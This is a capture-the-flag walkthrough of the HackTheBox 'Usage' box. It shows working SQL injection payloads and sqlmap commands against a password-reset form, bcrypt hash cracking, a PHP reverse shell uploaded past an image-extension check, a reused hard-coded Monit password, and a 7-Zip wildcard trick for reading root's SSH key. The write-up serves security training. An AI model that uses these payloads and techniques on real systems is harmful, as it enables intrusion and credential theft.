Summary
Usage is an easy box which begins with SQL injection on the password reset endpoint. After grabbing the admin username and password the admin profile page has a profile picture upload which can be abused to upload a reverse shell. Within the dash user’s home directory is a hard coded password which is for the xander user. Finally xander can use a binary with sudo and through exploiting some 7zip logic arbitrary file reading can be achieved as root, giving both the root flag and the root ssh key.
Enumeration
nmap -p- 10.10.11.18 -Pn
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sCV -p22,80 10.10.11.18
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 - Blog
Three basic functions here, registering, a login portal, and a second login portal with admin. Gives us a free subdomain to add to /etc/hosts, going over I see another login portal for a different service. I’ll head over to that one once I know how the regular usage.htb functions. I make an account and login.
Nothing to do here, it’s a blog post site with no links or references to other material. I’ll scan this domain for anything hidden but my guess is what we see is what we get.
dirsearch -u http://usage.htb -x 503,403
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/Misc/Usage/reports/http_usage.htb/_24-08-08_16-48-44.txt
Target: http://usage.htb/
[16:48:44] Starting:
[16:49:51] 200 - 5KB - /registration
Yeah that’s about what I expected. I’ll check admin.usage.htb while I have dirsearch spun up. To my surprise it does leak that this is running laravel.
dirsearch -u http://admin.usage.htb -x 503,403
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/Misc/Usage/reports/http_admin.usage.htb/_24-08-08_16-50-43.txt
Target: http://admin.usage.htb/
[16:50:43] Starting:
[16:50:55] 405 - 1009B - /_ignition/execute-solution
[16:52:06] 301 - 178B - /uploads -> http://admin.usage.htb/uploads/
I test around with some laravel exploits but the one I could find relies on the logs file, which appears to not be present here. It’s time to check each login portal and the password reset for SQLi to rule out that as the foothold.
User as dash
SQLi
No dice on the admin portal, nothing on the regular login for the blog, but a stray quote gives a 500 error.
Furthermore making the email parameter equal to &email=raccoon%40raccoon.xyz'+and+1='1
gives a positive result, meaning this is vulnerable to some form of injection. Here I can use sqlmap and manually dig around more in the laravel vulnerabilities while I wait. The results:
sqlmap -r reset_password.req --level 5 --risk 3 --batch --threads 10 --dbs
...
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=T10DCxeVCM6NmZPipm6SdRP9SfThntBVlASwv7y5&email=raccoon@raccoon.xyz' AND 3766=(SELECT (CASE WHEN (3766=3766) THEN 3766 ELSE (SELECT 4293 UNION SELECT 1203) END))-- xyjD
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: _token=T10DCxeVCM6NmZPipm6SdRP9SfThntBVlASwv7y5&email=raccoon@raccoon.xyz' AND 1353=BENCHMARK(5000000,MD5(0x6978634a))-- rrSJ
---
...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
sqlmap -r reset_password.req --level 5 --risk 3 --batch --threads 10 --tables -D usage_blog
...
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
sqlmap -r reset_password.req --level 5 --risk 3 --batch --threads 10 -D usage_blog -T admin_users --columns
...
Database: usage_blog
Table: admin_users
[8 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| name | varchar(255) |
| avatar | varchar(255) |
| created_at | timestamp |
| id | int unsigned |
| password | varchar(60) |
| remember_token | varchar'100) |
| updated_at | timestamp |
| username | varcaar(190) |
+----------------+--------------+
sqlmap -r reset_password.req --level 5 --risk 3 --dbms=mysql -D usage_blog -T admin_users -C name,password --dump
...
Database: usage_blog
Table: admin_users
[1 entry]
+---------------+--------------------------------------------------------------+
| name | password |
+---------------+--------------------------------------------------------------+
| Administrator | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+---------------+--------------------------------------------------------------+
Disclaimer: I did check the users table for info but it looked to be all the accounts I made for testing. I will toss this into john and I assume in this easy box rockyou has the password within.
john hash --wordlist=/opt/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (?)
1g 0:00:00:08 DONE (2024-08-08 19:49) 0.1138g/s 184.5p/s 184.5c/s 184.5C/s alexis1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Okay so in dumping the name column I do realize that there is a username column. The actual name is admin and not Administrator.
Simple dashboard with info about versions and info. I can add Users, Roles and Permissions, but none of these are what catches my eye.
Within this page there is something that sticks out like a sore thumb: the image upload functionality. You can’t make an omelet without breaking a few eggs, time to fuzz this upload for all it’s worth.
The notable findings are it checks the ending extension locally within the webapp, it filters certain characters (/%) and replaces them with an _ within the file name. I test the extensions it allows and it is true to the requiring an image extension to the uploaded file.
Here I search and find an advisory about smuggling PHP files through the upload and then executing them (found here). There is a specific exploit script here on github by IDUZZEL. I won’t need this though as the exploit happens when you upload a file ending in an image extension, and you intercept and change that extension, no server-side check happens within this version.
I upload my pentestmonkey.php file for a simple shell and upload it, then head to /uploads/images/pentestmonkey.php and pop a shell not as www-data but as a user.
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.18 60164
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
02:07:40 up 4:36, 0 users, load average: 0.00, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
bash: cannot set terminal process group (1228): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/$ id
id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
dash@usage:/$ ls /home
ls /home
dash
xander
dash@usage:/$ cd /home/dash
cd /home/dash
dash@usage:~$ ls
ls
user.txt
dash@usage:~$ cat user.txt
cat user.txt
fd70b103607e29-------------------
There is a keypair present in .ssh so I’ll ssh in for a full TTY.
ssh -i id_rsa dash@usage.htb
...
dash@usage:~$ find / -user xander 2>/dev/null
/home/xander
Root
Pivot to xander
In the home directory of dash I find series of files relating to Monit. I look around the rc file and find a hard coded password.
dash@usage:~$ ls -al
total 52
drwxr-x--- 6 dash dash 4096 Aug 9 02:30 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash 5 Aug 9 02:30 .monit.pid
-rwx------ 1 dash dash 707 Oct 26 2023 .monitrc
-rw------- 1 dash dash 1192 Aug 9 02:30 .monit.state
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Aug 8 21:31 user.txt
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert
dash@usage:~$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:2812 0.0.0.0:* LISTEN 6555/monit
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1279/nginx: worker
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
To interact with this webserver I need to SSH tunnel and access it from my local machine.
ssh -i id_rsa dash@usage.htb -L 2812:localhost:2812
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
dash@usage:~$
And after a quick login with admin:3nc0d3d_pa$$w0rd
we are in.
Nothing was here to enumerate further, but with that password it’s worth checking if it is a user’s password. I check with dash first to find any sudo usage, not his password. Next to try ssh with xander.
ssh xander@usage.htb
xander@usage.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
xander@usage:~$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
xander@usage:~$ ls -l /usr/bin/usage_management
-rwxr-xr-x 1 root root 16312 Oct 28 2023 /usr/bin/usage_management
xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
usage_management
Time for the age old classic of blindly exploiting binaries that have critical flaws within easy boxes like this. Let’s run it and see what we’re working with.
xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 4
Invalid choice.
xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2984 folders, 17945 files, 113878710 bytes (109 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20929
Files read from disk: 17945
Archive size: 54829558 bytes (53 MiB)
Everything is Ok
The info we have here is the whole html directory seems to be 7zipped into a backup directory. We can make a few assumptions here that we will run with until they are disproven. Firstly 7zip is the backbone of this functionality so any exploit of logic within that is our golden goose. Secondly the code calling the zipping function might be doing so with a wildcard.
This hacktricks section goes over ways to exploit spare wildcards. 7z is here and thanks to the wildcard you can add two files: @file and file where the regular file is a symlink to another resource. When the 7z sees @file it will view it as a file containing a list of files it needs to compress. Upon reading the file an error will be thrown and the contents are printed to the console.
To test all of this I will make an @user.txt and user.txt symlink since I cannot read them as xander and check the output of the binary.
xander@usage:/var/www/html$ touch @user.txt
xander@usage:/var/www/html$ ln -s /home/dash/user.txt user.txt
xander@usage:/var/www/html$ cat
project_admin/ usage_blog/ @user.txt user.txt
xander@usage:/var/www/html$ cat user.txt
cat: user.txt: Permission denied
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54829558
Scanning the drive:
WARNING: No more files
fd70b103607e29-------------------
2984 folders, 17946 files, 113878743 bytes (109 MiB)
Updating archive: /var/backups/project.zip
Items to compress: 20930
Files read from disk: 17946
Archive size: 54829705 bytes (53 MiB)
Scan WARNINGS for files and folders:
fd70b103607e29------------------- : No more files
----------------
Scan WARNINGS: 1
There it is in the middle of the binary output and at the end the user flag from the user txt file. Now all I need to do it change this to the root’s id_rsa and ssh in.
xander@usage:/var/www/html$ touch @id_rsa
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
...
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAA------------------- : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqj------------------- : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B------------------- : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbS------------------- : No more files
H2sfTWZeFDLGmqMhrqDdAAAAC-------------------------------------- : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7
ssh -i root_rsa root@usage.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
root@usage:~# cat root.txt
832e7c67bfc784------------------